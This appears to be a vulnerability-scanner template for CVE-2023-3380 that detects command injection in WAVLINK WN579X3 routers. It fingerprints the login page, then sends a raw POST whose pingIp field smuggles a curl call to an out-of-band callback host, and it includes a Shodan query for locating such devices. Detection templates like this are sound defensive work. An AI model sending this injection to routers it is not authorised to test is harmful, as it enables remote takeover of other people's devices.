id: CVE-2023-3380

info:
  name: WAVLINK WN579X3 - Remote Command Execution
  author: pussycat0x
  severity: critical
  description: |
    Remote Command Execution vulnerability in WAVLINK WN579X3 routers via pingIp parameter in /cgi-bin/adm.cgi.
  reference:
    - https://github.com/sleepyvv/vul_report/blob/main/WAVLINK/WAVLINK-WN579X3-RCE.md
    - https://vuldb.com/?ctiid.232236
    - https://vuldb.com/?id.232236
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3380
    cwe-id: CWE-74
    epss-score: 0.00064
    epss-percentile: 0.26519
    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:*:*:*:*:*:*:*:*
  metadata:
    vendor: wavlink
    product: wn579x3_firmware
    shodan-query: http.html:"Wavlink"
  tags: cve,cve2023,wavlink,rce

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "images/WAVLINK-logo.png"
          - "<title>Wi-Fi APP Login</title>"
        condition: and
        internal: true

  - raw:
      - |
        POST /cgi-bin/adm.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/ping.shtml

        page=ping_test&CCMD=4&pingIp=255.255.255.255%3Bcurl+http%3A%2F%2F{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 490a0046304402204d092f4137ac9f52510507ffe965ec2ef45ff14d12dc856d4be6f2dad71f82b20220292776e26ac5b83a8e02dd649bdfd9651f22569f81c12955d502fc7417e7f0ff:922c64590222798bb761d5b6d8e72950